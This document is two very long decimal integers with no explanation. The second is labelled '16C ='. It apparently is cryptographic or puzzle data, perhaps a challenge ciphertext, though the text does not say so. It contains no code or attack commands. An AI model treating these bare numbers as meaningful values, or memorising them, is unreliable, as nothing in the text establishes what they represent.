41196276830791683273033135468948621106755372007407690824500552586657110180238067166457910926154092293071781153591417571119735016868080387385214502813284556853453303060896977449222505438668478219462132717967685365368802963102266225830560940067852855544862482535563445150739361648460263566204888665792440582982749330458588455212124250610373374966476126012140547713540557035863379230017957569178572571651043901328176251318106353024969782876199713720842172540514331810562473326139806098660342940861716724666864746199814621102901060965730496977304754499344407916145760219303473757548019380412540333636643052518126426760215431635509887093836589286495608253151227423261904890449419093246709843932271371615873241735128066927754748137873719290921157017628797504246344566593833381774409421893825795748195322518213721158554417307303598021194645538983543026848860930664352104506366741390302372701383789995459190105884546346934765214602002071849541830822842994858883852444291224205270538628246774637410228648177012172710313378713517565178072609055552394767511860258135021328927424251674830925349365087895492532054276555429711865415931009921201170778090317637770958582180521468392447749696906153117281259528053716718251589494687674758387809596682404921389185028794947806879077357854340785528233088900643035036278059696808473794105835901681162328540411210842426216152260561226153731966038080238498678545655543698081099890571875255885931174016245777118501040543072047944307506992936541730917586760819239158425585727920654303894887900347307080062397016911110448503577188196548642980953497975693809724039384084202840798566845662221756258407235104305869246750149694775977418608333955338661713954316002648850314811606558304127885952363462164202445493684889240548148561314057381601135185970035658806153924736411931533615586720622944585532170918422244987286985660078852252897764150576815236747792737474891020168212679418174737551378354328703788631418963690953508494053865914033122785700465303079094262326033921923306794820411239341402313489574036477411753227908358051813173046759708366516807810981606779618154600951234004119766094532253581067031589540618548571926925102263218701519332832715392223944837059685909706510002093211935176047610251022827145809085130623346279645195847978847734978118519935152381591782788123665637590590704166971883068649743980125719484217659110856528945519980087009496596593315744662053166266323088195016487492044032304978416235836215293503270682690498819773381297204551827911278232293110817545806597136605949588156775103299741107872762118205888999908296811949491892021290503966601354025814419888797988255578263412157360439818143165254654282764490884218346205918527968393727209734049743069229081081729037153785823511464099586769023706652293380352805665191038644599982466320232441515045425852940499665727214936330530208892173487656635192090337454910181279369300475917830680408640864633145814305152704102318390557487195969737367229755993109593557505680118729682086143359488250110129745474618837853841265126290275087933413450773086809563393392204511774031579434600316698632782622890516634016301235298305083793199899034845572953197843525985030078997631142822211759339913044104002345228446208164965952439297112879087215124076055763357555181658895350732098124994081981175981346795597479545792794416036383732222301565864583788502532166338011567966251004689144240986623057863762806511074075794628970138080752558476952783909064752811144516683686484274658954097414920537406115272100056196241171381365056135714674554832579255983535963674236419551185454526335011305568705927564122658485064788833503457903490271234583556576029915724346932563069701347040830671736062455730599094473730927554819241929927614452639923237680378906604324955843938389622492851701814316511669811738957230763162273226709821242744175984236936977277772552465103192745681365228823237605563257653007739724832335572111440618497241105259036544391481195291425424824340356561067352900990562654397667775068166362106491013828341810142544947227750833352767029475680400356418231121422119649959007143530956915404300827706977627134899174256424421594648111380256123751525849469923853000218347652778430700398641190908649170598363591483961361864594660268108662578834070632303722010924849581284411085028477976641588566132249248012942269178849473779307928212245948792995405344095156309403388555823312627630588009657480742799450980530527580561430579029992200417212666013630492018416574124947363037126194413202620828545201292113515560930531174844043995995986940157065194378530035492432536459076831355017531116943570722386673175768594938430302796819712330826686989642491721379405579453059732587311116580971549533900416178922581666520071389799186791330646758503432341051898889457989824616055422767101486542465744186540223810714138102135496182840581922932674723384648436965024431128629012785729094524474815735390995633457276410670798157435335954141806553728001806822056178623589383613665658442248052615259887863208560998104945018836364871305223524588492739433934300792510289809908393336463190180811063872219177388176897461824248074018198915682431220079289445276171986314388935395285512244050840998139628150828053058639957545223493820814696827467130058303909649576786552279683900876953743251047079195917071692962111225205922947678670181161828041755969906168083401112077947285898865020448926904982872120184205311141246967581070873009589360737675020358118454292318255116134941992694869440706453678761617541514512287226168486491429013794217840888465726912740739397108439013853499946020240122230630977265698196137765453588716408060439395521549813271012929073104418208095792625291951190217718977784704258961381282728591949197985242991152071266646203651364631610671475821112554350227095975198127201213676644531744938148097473816391009538622930237634740186577254812211846684737952664707055959330576991045047678613682558740299711183351704642173812401749383284077142777890187177411194262798076863959710053618349673884995264081263924998921583129960051477524300229004000816832767539718818910804962418088472124835382558268093177137946617302671226516708066843781972522789519958846235413194379661778345605496967342220207789291801494019140295194772251324469517914931604268900086053145172405150067822971348989985330674495384382001577668660645910100522679867787933720545219165217795629060759569530773141670259490061542715206324042186273238015335794281519321558122014198791957348307391546682003492538742540664564730035244834292402049842563851315031413927586761902608583556154191395806145637088569124489181027841833504687801207864255171429358386710129813768797149491404080925289940553515971986220302965638410900016043194104690191582275876849768799282240793302352340516191134610685278551584357188858204880038646010397685913486622135455395179120734415118303552670783565377114177192728992253188342848297354396908223664635372168581665268050338781662375948804245180886777544650535689065635998758451658750354841967784440788063829347813496623716781362170435838595092580337132900904030737712314394235839866842127909165298660070777750148868960903199204511893265997420993969352989903002046510162461903986246425048260740623163463080912519490427640652918845457101011357417867112735833806379649209496342986251287476818768705572860219100399093185718210306492766917232882902224536748504303639710665773130972894733948061616831836047622222278808689447050847442322052622204821180559264357629844106768071157071620198082990571005158678785059115102963187361085770083161745076374002335906123286635459109837737606662134617065247778350821540224559909418611085931746903331969014171083755630640325431018756077672352466798847500689194865938311197228201559959788509361329807055080172033188045640844592891965950243077400333231695123138083044953369943544909849911462730018647940680268152472727281117514191842339942031704518476967742054920461591950490850955861531705064124165828668870607505640370324263838753853598322117021737870889171995836257175712174380879244246835845312684830935381402179145834998816538473327228498784458483849755005604395430921065527786865883119876492489574489871816150135587238873169175594128509803653274662508044473553774905811565956239867073624147480195030117887181723645489766484169327569038498231227347039967061740032225725386081752887261625093817978194987190692291376148756159665687929003190769747122175473375389460909207939871590805632134581321921793799727914158930045846874659663717809204195078964264998418312104967173831273350017067533545592442245926024350218826951333520266218548445133980385148094250931230441474270305126370305555698327485645615600122023881313991602992081130788595948350161897710376742730805446216545851914567877459475926220893392266963984922814411393758180836156728417678525641803624340930947202093688834723124645626387666506472252585853176758478152203542757848630777555393603253539522901342615779012371532769004731943521979067921070807391300366919112098074412109978176424381380238090054562271517561123244456825231877902867531204276436177779158070279345047415284106619141650432372742737267880247776482389779398894047118310471270591393277713226294409230680479872245765506563555694203722060560663808932410875140326867966140117676485953196517879715337468005016854294800503968791336495103128210862813588080473188664627543819878687279498365336099426277914743979277402053269638260812576917220409333838080406190902451967942297435311259500760633491871649131540644646955837957233154793678148498301602349064997896788415482447648691463894533902076361697270601706564757601072823000172216318520036379383190140089014966300610711577014095829831056854807096806340525078953205438576687480837332470934275169144964747441952762970979865366938741138491643075167372342205491059009753369537845485625446115077781633488103040550063326992157907542849047803011647107827411183447514107739225222044551988691705730778190979696212473524802924230307053718448228685542822464591379904361219891021868102823108924661694854008322188371911507901072126783822314196549053241776882882956246200626055773827149044144093743482444041388096686313587910231882333204577574831865858595630710669462960028748035773896884608620185087123879012413022790002282826383358870899873340767522023741882565429495294459793716286553254586029888782397765014208826092775958171761384860615476126868850633517877839267763743580580578861423958200962775141358404680352327350138821867465903445755928365356160557920741553341575837379099286252345333786484723463952102821427780500386949768699998656287292604202246648538271188329684650378763722578523936862228101627469821418800348368905940930713244183012672519663798420612953635949746466002853297215238991200497666365413300403735574245686104152999590481016658144181994272239302223151420316557638198469489259690699073298938029608178773016317162013864415003606406951141300221191588160710021780093154378855200774998023363076989781810812715381712610297257300450696376336929383585721392550031009864199960899472722210867348170104535972971142629341416466604375858087619772250109110313091943625461247542306759121041347620713097831116979205352164987300607406962263359430327389562899689552227610489269629635028818027377819723210689115074566297849720821289664666367854784407935443350216252416837787612328379705141467405860883946498526140541849900878481550887348802626199624701944510163317206155159646135550306289680921291732887647400933793401940612684207919411710320235983099073104909773730666038446981873584160566566223065176721388934254800519664161543874414753265355655696901043500612361418989389437525610095917005821003401597937368722463853925928412327168493557926926535855220352552011515885417437113782460463159445454685494462273568696306871264417206143754319092215640997217137969328865189005869778629175268528352222871029473728187942254623464952335333862531618473163427325165514484265685342909690651276611333814520281574666420222024346502167321570756801571424328739257582128591955327477802780419108523083437324345295629487660620264324967448743576207273699766617653062593667489057854942990226983414916571982011248300787331135458077544748015980626636529586026520774443008757349778988414126389950499932660289950946633976736642141323147107400716178659224168436695600381172637325484359739049165203575706424424432056254234033558641934566256934916208949938183081011862290178999248316846488345153977841735836840963139375967477652520985800218237000783522967358692772566764147097390662695814407621685722994210609248029196578028917771349564554346334043391307746559904757989907499237505452358076102774812888073517612299069377309620609902156494547477774767429272355324931386691237415335717241485582585855461110667988075367617849880116581650985013963355196871194383141072936778693782094283905477609467308221028089407995218799156386190849537714114650245567727727610295548066474818071467418491529136177793154068742461468766632421767017351401820734374663517580628997568287288329973832150254598559877303155358940613314884067754987006691997963100128046861454637626440457767683235055103323780453265036024659493938611562225371695366446021716739317333618556462414968111275590431039170563138515478992646138910688713401991822945073473823655995889653816901079565792802541886663078403938193952058213482388786117360415981130211233614805631461714980328697602231939673467069950478630483178570866493570297221849340834014228138042030688757651608799931250845869159471977041084972960656724962708816401816168781401575224707869405134789536583295278396177244815063700974009373067905702270149110659105639195399169024897813659362619063424436969902482286239312343068983290316767561608063442326449297252518247112265103223264269759539905000384622704493793796379966081390977121479972138222943798771477692576643123207561940315747373303949920062391926187459455392406617128906520758586480480909121262888520373180593780000100332585697775686779003491505112997252952420615070583351758227776197522111329573597617192318539095539439987225858754581880303240433505158604992726107459534204271240222054733504032552417265688253202587040488104613720571223771684651299651990485991309336886393202701522305716644551216484337923792744040157922943992820616727464937348630740789246822856750084206478894852014033669335617844336394595021574131383096058245784202706974077820311636505922488191129009261716607741027444006618078291755139026897560409640941947925986794316813150080891610166952901885995091143567000095357151442237408167203064819021212162429085741895476289904422578655332819822941617344681671486037146631264826438987335417464754405201352405962041124831214247571641550829423392055725951232395908465025166223734768366649660720483420762432230042754105375035143100060101542457044516169591814765476670477251240602368860127592881014042406046548043437179643772988309838675892395983541464657664316691034417226900203224949690667141457785241196512536661114401281834435371744436281130307874810012127986536423404097525463792019328687834299509509493139740335804689746993842143381442415974906736095319876333453986171946448747192181571459107125788408433508344075977090034015039683037848754555515325831403264162701606795253667171133234238901645556674008760861459795950030000962226507499449913223045615348391239637835526532779376783644477729523652390919406476219189769371580808565110256186445949318772169587194268705264345034414233209300346202493207500869364865112421509096864166960877964310151897439670909032338660148693496165524002567903460242275480299952325433411546346625570605632685118712401812761598865181337483969865549222324129880417698638167809710207454498706335870204984899770248834682406156036798658591670160047331472125413605892489864169263639427428310673759307157205603285934261750125160922375371356490775625393909196134525493633922395298384026137083866000783825662833442356737321453005483468009945253125879798228691937056421786289201921955447502750046155530133060731051832806374736903279498018485916980289734221207234207807872720018755516358007413763556748252591419545676955908168502479881470222301782659595099479959582060066920674914101545051274824603407528995089822279968350670581375835410968809688410979928034001769512270691488821179121514359357542824792840993580557133532327251304621005273635520066113950334263325578212090655229900690693938948612269023807523660971263846705629883516521832953543275282013844262967340650037913164278635812400242418930071096508825168210422496122135858293879693431729336881715477119133051948120137358739489771052826374779611518959117258263452448077622620030244581709469611094993868766027777243363655395609197278312968737577985867316462670893257189542181420542725880050903661047232395637764790183616330586117530629772669362362330363462848604095282379344744154186719873666851143705338629651367170852350642949785901870734490239559790740034485284789984744257393386874947406395214712127371281661754996981774191466148966003461825653667694598659020168102268430519914841111389011534402995158701227427129222589031337211340955423323138215036122863004854962622232592018681659934161617799812043888264832024836768046031018980747985496869618554286342982365565926285722046990472206005428468886929446495345473867405897228642770799065018838240107546088258756679594950587692854874393415748316812783133778779503202448062651535475075508969004370051534653580665782236138832253289222680565110654552191915781349472163811677635224570214729152333668993542103065798801965565326220146103412198756451232470440980631027292984804264117683004845563167330996230634785873048192620936036169564331682805695055795860540350322742104322460548158349375185563785380485127993631326751623668347638840240990984699118176108091432507722989077161771097620964093842432290033970410227734861761295270508426127967363762538185513276013288403132715539462946482672019638536256850355764203308616962847620906859582683649617557552077469965061963556807847669571271938884369669711169790104196901318114228742560178786175439503693626416146202006096268651875516029108201073074981889203835646847363119817608860288514261764036518603320981029850779517963644019870144044248409738583435871143829364381816028807704570417366572539401496255346793166747607671541564595440032619792060977276957086473017841811947494494199729330822620966073693147131449618584223957119338845201650151678201487526495739263722277368204838264918703237001241504361587570567506405437687829069743425796392438305205986007823309392696795232336184249999125012061142796421036347802545489283708710711502312165218271405792413566869000616203274709283482944889620410182416729889847501370177342959684503102309729161884835340885854898156123198199792221289951294125658727405225479630739485605304520159312100241364275804978281864521787292744083175451570068156258776601542794210799731014657143189502832246340305865447940865588985864665462075990336497052961240258653902201690951520744333312233416993385564973270178180798040743002398229737774091237548354861623337174446734207807853038080707037771005791143838908760257849626372894433206538319770325041084801929716715700470706477968363126762655562594653018329223923073924207753708300178781179621774855498434790363440016303053687209824209065136712427775976412659249685328508010860375615710421538242319424140446825895028187747465541648330460841981805656847313074280685524174871460133359951266506177100182191129866924993859033818881391423810302458369274867665385443354245748508313895090456028786841230258766708312842885773742694447357187140905715394032943268564946369059529210652847011696004609330287345862749801165827075262829327088075919778054499306249668179453503869337625086726596970030959514013616286498810742865897885571244057179110570840997470030195737320960271253343608931701658689690937279671981899574985326070601888457452293902634116961109229624135515566948504505331532831857150869333233796557113054512914003728136855797754990050598700287746215557592622139460329315794203091672724758255124371000016805853134559463899130789791113962324991009932058055020953367665645383116095160974203552218098689794951933699557115856954718613668018485619437601393530360694882812703289382814399782108455562502034686363191157745632868429648462423376560445326466138409649622165465746454794796717261751532994597025885750398097045208054980018670110672121531092610842408459355463371252032971181160298230584196772310117168827686686991021954995054485407655900645424602779662954802721416338557416070018267946656831950820254731887839989506203233855207617626830484973623268166609421587116356548534082582999738979909486684110187342219363845773595428085251169775927662789859209221453285114609447493051844572721464328295811885351558546924806289989634155898917948055407249724671501578089161617551684420789050474016064448536223981095527567571804570803060044062482208571475852482596564154177880882181595428418805121199367301189076835468072198972621504134993012246765253232422927088719793093394799893124714116154220710212865725075187607148030269832455184435310859588419333456083602160652833231292904461410158464740489445143423345113893486734658508780337102592751952867477032808231120487200348451988108410067229556957193593330749792515124638560193344088109386091077895750688774516668773700123351205548923203691196825249129083293890467518603503878373044380829384322709675159487160326237085333607414463733805675627006874492816866797408898737707910753357607597618223025042489503924594004336941304336173143378320306595002961892784588228385691638211391923119055705772949457682614164794744202167671445804619078480008769981940574694692493695555314471027800096416258098881100620660154074263552788620364310768484228847872795069691354504726656500102281179034430088691604780631244404090208560071144878979290947344470361749399984951740516435354854991825258646256991179128127818320707188658232675624195214065757423599663214829715451328665656080991846342060213962035722650617566066754217321909931300131433120553482182417852744516614120026975561159281097620309938548396458567422415905172957131628858893819189015782929296880880004384398426829694556159810056033136188266672378467579567155323656994810548432319283478336969837201225837805361107813876799793750085115245627287123448439886303851895118858273087351365307504965010699106738205456050670231164739830050916363935801890245817944619411033619015968881331823178827107173141891697576775942093099730003792152813807651858164039261238567992404431021921969488530629560995541890862611528090670711179795355456099926296259116682976037277440949807852001118189843351323111308644891686397724440414730296815454927028364861601618547387210721031530019748590381907561650061768319808665164887846666628293067802404875859104554991587027348026829639684786032751341545123050239342555309315931745855922596921761752150630828920435149986477308915785644450691868490725874303342617935405819563874693488630862388006185051034409032475965247044160734161026248569438293399784981691348529688403870963033736743086946902960464705030626066490562014914977007783872233519898650510340436624333077590889896704972925957477592093930737539302382545064650134507458554245533436576140902799790464204812623710597629701677095146140495024680638555402723269607186996010292803557033077434419795187255489438445237560338095496142222739787428592906281619085473564626802364368891318139974525176880723484018655077111040258828564393850790168726837621650532109116002889139623229204023606509595727688434594787631178443667585957460805444084888437165388165021382089248742163446418885071989230825177085459450110203218567398486060754154242651316188653263504781563943282151207385054178376353523140009317787080497550045283510358306276024462266135851505689400627113678874173234335430354792995612368170803169418250896385045986853816823189880903969169322946599908604165934263051314899703248814377811611301236199590751136722135033350646427390709814614629265310983571116213122669552797588727301435757475079166775527310507159789323367933721497049333851557470318084655583684497937203723557830492653914767036359990339878814586668761712119803459102137333200396711816429403820610126519416347068712014992494950047553752685245363247534684722737519828623473404689966150588620545964270236622525368944581010638285038363886690615748723126539654540479299551495446973152946628532473662893356011736073371889896737560230857296492136768345660045363331953166138799380011657609294679843938927596778306470278160183841465527347714427992318372277523232025936130658084165437350125553903885060112225469456762291436117221602721518455544668540627062115388475582979041116941093718645768569306755286888900291006865589754663136299888335937007552374585683664865328710957298311235288596022442631109422472251678840807547610822260278069552505852117254974973202581785721532347606375675474748729659069157805302619361859551637707400280453124231719186622542634873955484180909712932198524680604654855626304509182632095643878984409555808694719378813948423521916730038757820774508382945178375872831954213282621381639614388766260751441914111213231007878296054367901056345348755519978273130782732216773034585094580168833400533652855384016776094297550451197909400184875729815406147589863220737352963861853969943660871300372025157881752194152695829305867003798079968844203346007958776820948034612076051947603857620564649593810467254627088152546381667777876985094955312642175226309063176797873334593037550147552127529018921790488996542207277254509089123248030050196104439940196072017991301464736531915336266197872330228862532973527612690424037646114873946897149090095385601295281374711085854242985852860390443068985564615956291427607109720387465710135027281479562537826677161150822910345635276631547379752452401720748943305173339720154591775907999827395521685224682124863480272763359313541199341509947323910684395663081452280697360138486142544737050480526010123240585097960924134790477663163899034517380575060676798022959799343751517894319648877468404192434793967594034023437511055418276310891426662968745484394617128475401144484096366347034715934373877253112758528778293890106195641555242082783317651696320098600658884145309408492111867035222839854721330443978761344128135651795204133801987625514901044244826844702586443926118411889309182091627897123918537434329547587147337890200632367124406131180656464243542276040757618094416399324349795335356949056507981751077451087433140877356895839624395627773063966685308450807507799744608475822777338796340138156843128979295386148162614638850584164370664669415332809926618172904538501863159793848455766057253320660189457873341349246591780651649009910094443337470875444536234628564169916012891365938459213685301037753505360336825726746557743696341969878162000442989294634727562329027759079414305534478795898150868591117680639964861134585041255088265400071320374707700540211993909395603998452875272771944442937440851092748420943516018310609461666288142911576055179238798480187424625318092544565554893834483626888606589884352886968924929513626893534932023909867925220500806803942476434367770577319207084961756157308978835236143404238588012483656994336976067907132569870250878453741371953980838431440399549921657740548908194332382498479832564325388980512592972751053635921934791463689136857355757511328753202743763781057339569667048479820953965920453649452770119556271701307805577118363173763214405775557759990811567194179305049214004206565465282273766197938766455746767810026221074720088719770121669664204217902103370514235030162809327526631580673884939853554561757921172070678982653256684572884371461973783514279931908617315267477942074691553098827150200861162092496920154647399968966608656941544551457557036150528470457645674022098355927433305220420848453379723725426225182373375405153054170758665160047697758148701543665287638769683706250411179607314453661179860107390306228993901928643788319121787706761727969589386882765390839121511890289846478327959502905671687101772977658647203881014250102700109902386959534184939002920125778906554228618461883933525202719824451663271399741629493967995821132711251091665089747608759844762788249309535230046341083507541068166369360208373597964629790740788154208108784950334799757939193953949413890791778611663988472198788551067854162306895818661272018549785893816654187500520000300414836941655590660680638706414461361638821796934283320918634983825296975987264954110828028597604383798597349948104071007531
16C = 3186519799195831472117019619446397858096519218909253454944215797686802874574057027734361082528662587702998832066514416267042369385613517146721362053412176696319604592444066533968655879628375131195761413849997084193931814756484130670993895079198325306399314548315429362239869332011875355741277037180849536595695076735250494520028713352873256341444125351718418668243841851175824144496185084653409860617451297733750820402639547372718534881573404822148570528533136829855799241896415809488288973591440456378084942609328932147938978869575216694337259565501466490432887521513171498198131970670812068105501626301356477819838472730814422429268556555014800772600113312548158315367120933778630070994249110262952100545725556734663840812952564979240563489143856316612884561351297474365858212774078704676317352567645286973053411277138762531111542359166448131960434272140272917860452565974929094030575017129468350184729323080922846670308360425646561587799069499359352840310820319423635067942609662180103915453054881823431314577431247337125473060789021468940899589918744125783234441152910370584361520849601607089795366175140142184928262792189048589546856141159793085942101890446069006310239254947991614552491186400734446119668655857031840403578285435213368173825738072719375360056011661575320228304933496951487286038558198502567378099320910258664445287434991396593062380785606388088611408187111759709239964463655684637751842674808664541471117455371240465210376968983731105082543265848414425577055665773247294977786268436112311312107816485855881404550219291216802142952431616374439189502569719432164146741572865890799379271863035980889152518410560247665138886122227160765486774530974433455020407619141665134844102274490124492224950214217842335864156262781064601858091841402473687760162022666618568081794973435450542503730817787342957874591360879156755215241423759791176246268740031223464025552742037663517048174772534459595381060615760860893123347058861304997894889321060175239688074027766974432996846450514456208011079395961297680615393395742002760127811876127795216792607595196069958612470003142529058367939591791300994899767897445227909880554440848242494201064035331269717018875893999088605737425017381722819645547397999012527989738525463744051198628324367388456300631645948631862561397904444654854816473434141305446216280467618537180890689009454296569706882847260556615355947106932710567307552698184703181955209927993846387051693248152678600150914615335213382229834411159594206695507852115231702906117307642586143939632084123877361600407759222773920708382236316613210740837103181364793559480344677653195901445718619417055944308462871134767014776358013119355963872955561066987365766700405634942795687343499952875168734787205036459584777467474849282799133900809580305717319108952195756826445446089931450908913121876527185888724951268436461434292440834749472417616438232668479242333642292175209406550638798279905476215568337138174053172568971078959518573308653148894612004904911266811061485085873754786603565666634476623752969367797286330276340912056477750793462513176796034310406071963323012237608599052258889107223921269782427208379618740692300544062673669745423542801803850809366201930836857150230497154539926004686790457479582450346117291377679128349793869560418303064144151520159814377056838046369094158201865807896338366956820241988765576022096795057985386120905216898307855360209416026255504406789271773243166379315991053144282177991767735956910545313161594403185301774833414822177758809187039639709982453921290124770254763823014596858020014033489007959045113983325832929019392820815238486273289154380074327592571203337406320924082463271788770158497120780739391845606025764105835075264265748901309741244211676704132546484984497922399322964962404569159172983161246163537812308879544071606180405808713352301922832427385484175678265705066757297008153568580847748678061523023934240649622423778888704904415735207125785484028878884942420895464456666003435859343579578101156872494442976960054647677851092543921636926172852565915417265625000322371263195416460949568766692805780381714587566685627180167918166156845158886758224533919377451840693904308853067649552543402532959433206760865426358351781984703892144311572813371371583294758499541194290108347214494194253943279745148940880136711789922665018528515602582151728458622587380168239438505115685616848019113857687080837801760844736117240305000476462980437675941756996439233033192653574934290396194471156910243081185816198631425819897371172122893222439265412959000574304824166316783113104658524107285139698316538446857508895921451971565782298432293772644617038284849632794526604125877198592305289605375296696897954473439927827965580221987627732978774221640643873404588849658075380684359715236481128628794237948559796272526699666890653765772374213340261333500002772060868427089685065316979966479987714023909474318635525619262901552086496413826958245818644224264479253279999144145284423408739700165344015164322320113629018636390865860851397124236917394621117980526225262657577175935030895717170864876792022729795058419260712787830003408869381850273362875572305833979020458136128288674836691175044831786397851776208337472384366966244941077685754593230654207457455103945112466078172541176157774009783699506797514355454598844176562523781500990776933915257069774550603009540837050181601851303190521186093584424992925353316664914937147344340823515753247842708850913079226195963602004418577786121792618388824629914074789037912839652797184005819712919464699398955184399441908686421378469831787647046704277099890997485158312531852138666669023432323488830260299561355037247049318735718751243817260123004329654001320791900593646633339901432227940507396504602231431609980040560580169917943100760897799408957904080692955011336166201171289431117109203079917903462498978471662322123255953053623739824712385310832229290266080877558689490652993250457086562306895243456812508517172789352228215012602716076005468628993889829903264573025658294511386081296191518205977683450022145091029812422468165142245523956035361716642311763116034558500005670689729405107030391271605208365632331881863234918953285406807207685160682805497368657404620713143936475081584517739602672164483590586565608596470944820363520799261055377066782746318043588431534613676992432508838756164138191332009567430719692413908475653533450398151306925260489820453906564681628215092509492922992325613319875908226419066244046918843390301049079152178246544750894852911314239601719174998521327274100387069281128499032577918455694287819305135065854454043332874031532236522880568105337337717818118846955196042139928397608411869117381545486326056339637387330103750251677638848654268629341506238340637695506078128013684796613118491635115853560125286603457809739823726595491435342393588435413627961677712813300944886900489659976204845313493517990614809328702355722734988364204558450120276942291826837434286747610605636199723789902674755880327059304899866794780326644690334999845872050580893062861963674889323820596868363325081991184362750449220832305194799347022088544892270082656510436942278406237615851137322033793958089970807070536113997760161261251424950448725443983041140229317074140555442675825597137430692603773989136169302305678440078786380514101527514903733800688419992803838258837758427554489028109460724984377988108285708650430063002017777620496422126890695357808785133089822735107184995815712398418943751252000612669015234663146673386120246716712227396506486281936748338140266795307638611505815619675029811411168582648820454887071055249953042900659463899656643748203960663189647389474749471662185177745402533002171066901692921735923581920105296877380033292582997381879451044438848693882403877721728429393810500787614983124679946789463641172257617054684436504211963535092473034270147328411488219858357739306423680853034125577693580423292102661974066130080490665802886020781554277932583680135098445331302203933361248269447562185643638022663644980123281839321534943504935482090787431146590636271695528837791408722981125387872915697074024685555834414251862158309598136014017582291145630394157986375247259233900776456485280337301635846185607467629761554670130008484233617077564430816683093566002916904252156850907677253436429054983184041558639538999583922800155710184312192407478692889933808722305117565265992357086491390638487574018280041700117137040598575018716717422131244047641776417906703792770675580740227302988393232610733815769681903654658599340252288269368679016549965104418715038473226054877891382701724683535590324723626005704588275975155991605033830841576870889063418204443170153363478620408241241108443579761609672990665208076275125739585237066338286551127340056933621944851108495419350595648618062184643885682190458506293344247166839132539719848300976532092320428865282198524014910422039047211596417807285831799389575452910248266779044556034748047772845878147769037231789862646845885153612319581772548537528932791113421975367765926184843003100890095419639116246469751895159739494841161174686811920655622876028202088113574119705042517912474076731078840907817270579470657997564762809867383028741756687434841255980460843013634963320622095548358197013253722844146237439057270721925361528225250008961519251974718530606604470683693525628583520284235731193031479188421133786228390735778324427356590551646444470810375416332252739191617392125170727704476995893204925542282913632071987828517746181458732484100768294694541359913841290121248722783400377251029035964162868059997227022222048610154275322585628755208400650944275334334734629530551399566262094147604601368105135148039437670224152986529337786781379233343669587808926228442442878978003161797156640232737251500607063597027336562515068706438911017480359292673069563888233540237545248691803158963765918685482800741845062235215884810724315672687606387525680535073252178228970767420612075762220681404999672081108550974819916682458654602179140362242850587327369360237831229530604472522147028960725608003821379185402537418559139817124368633929248250530289116062743153047809914932951053774634229934267725690729053119205554050724756238344734957899249893889532137681261812307135953054351571788160556167208412242977461871521272692587595604641178335936531119299248312787416680635509598384308420459190205093312729349426295581247548032364546033365363487039498757126251244885685348412284675320794066172514284183935520110686457325242014983485966520636635573929504516937558070754057533680964106290450154303181114885675712085630793754849017372829932409642748558688493702509231430158606773268374001110430483254280016196506702127256520638881392299483443939297489387462896572142613027954051422227570149614241111225360146936875069229001463906796223794577015316393965863857349006298422497716251927799322079780731895836615757757625153474528410276264579668688731699669655726076941906818768069074708277853323699027363281011541657245595159765043978384183490418014923117066195139379665213473812783673171011914093478564896698233195981989939229837952362357881136694015498335778468129957292491141804809685855777738296158040183805127681952352071646302357494996450325305140080737676373745783559139409396652841969107699381986684741486370299260221379379905479307697835430665545140281087751957257236957427065759418249428518545544312857758063666143256993404386671030499037407691498258408119981827744770649232502994998958629195270689799767529269322947986277525352487645374665601381502032880919214751797592901453482054485249329463214665560635748162540659490511353137962012913923670093414190395363124429229054089110179679673681919638075923641799770877485151843529927287709534666972796785190309794644982465359568626951557776620854520839788320957864633759768355894799107281394432727569953835446091870095899986411493326472324769976688932240938427576166941132807068419568125843103561746294626415473440200873057613261950743138231611087531262646760891283387857393701723547906813358591534589147857451888434642628879528523199790020041415880170353247680199550002674012644157235458239613451060154314800844719308201529540217399356943602056276518598643691597128164707300126945716008212936359864828811754157249235071474253764297970183451142053914850665254369868741333926344929918448135630704374688959704868013502023812031062795474147804166164303721524692511578339952555946873905964140160570701536102012500377772339188720298935704904443335992022834885713225182698414828281201492329966232675403324263450030887890259187423656529562594383242928090989268171000432081341388985652226880282769061485386270566581971596812234095564492736462919874024008919203806065070813944692317656532192443665035332869814361532949693525329665144639575662859213623798873335372247370612851738569714090024965403573841209436969040185144480082340275693290532496300108673326619797716777186545701613725364050726880490797427165289540537580548313772213485401679917265995397656425784224683494240762950563116237714085072310159424434983074538493589737040704650681757095322758996337057913497914795423703254738604806063591939535728706815908759354352775740143225819638740900599838005786826671343335143706635354962293510316402878509483608444942869585002945622845934679423703264839373879974162733512246278777456083702116036211892129196130203823945787700733747949846012227672025640069538508723640183183455750569409655708651562622075329193787549442986680342724522918322419649854995677594160179837231684145029037900768201321459451032483075790569208031107654764059356581831106877506033739827478967183383599527843517809424712529896403336062968377194494784950056774728641468221390570279568447302940380282692009849223491549580510244518733859278754716296575540197055738405124869174874401784684941294611516884568826112778684992323322714793189633700468858309430775767289020083926661529909993131751374832343876184206214275960955418128640903060092314002856291956967023142906262462791135282864612428909383403384016429342676671045264654682651005947423414221150726283983555582159921088054463183927639041933375962335807190152665410864476887501311021077720725539914663863836693611989743688935426197930316891607974349016426801827707314032953646109489406969808678955006722226905583705596803545158009326823936472912272913578021537010449049611134276978649958682815099099310678642211445234702114350006684965651617576537754667413580088167189232326161715255647234401812257773615493914114524485301277463357720679573285055476948405303916603610361857715373723912938714688515702725108545887068756546660789924437082059616903963702964104772199410351275392242278475456800799567279114514838048037852646639924249407420897768247579599843410626185121506185000274523426143666055263374531376410899741860855193552194703341106446231675340552573840351956962818299841484695375093435718092606578165823749224909711341327725380223440085922756543936486738194607533192212749278761703051842452133578012912092531117877448846265751659981731078245759683089901217439213153562966610628140148733334417455928531692642390306961954410270129641863688065289585473003295022815396137090719947076637912941585107399630199789821614897860958935084203518228793113972163844043884390826258682888805637975484792281835745139224293623883962982646088834942814074172341641771774494205824222203887897335772840447826924016333728340068188036991846687013840122000054187341887071083459551149257049574389092382656351555002683111759486832308446678809380828419404502455174289333937478653171337648576579298995980526947445518078590698257476767260536695590790836487621038235854653804615618418665081838238037714388525207619079155179171538799555642101137164638755031230589779602660817901220675138997418615775938937583469314351098265020903369565374931984906785983587057437018565496869374019823814633394514646629014996868934342041582342845973676342837158252706960612555787393524077108383547583300944862369011911637713209737063463231178823295733064990098148514373154918283276033008359481253954628249971713504425921245938633934824289630381113804955834348472169003062326129879072714147547552316648942737731966506069679346159920785760794435299674488322135952963831845739691458276721213949712907538628754657054074169636954277192387965491325314896786140189397294702383184786462884440836679241965758934581292073987284261710196276454317896280099138684696830017860134269302565275214221143663272886516701410799962293207734074715983452472296194917167270638930852555737685955036929276118921084597900846624223059434556915987536484854520622784526864118147941685862241754441862283118607565644106642725802244112770394212094016561054947874035957968892785950834509163188787088841420400619268686335139724149395223071688544936925071401381195446467540332660404688828416148595133733994190706457682242995599324227730109396083971367902143166414122799556343630183363461494775506423260009553409418164316361480389763462942231208749500874554258704085524093834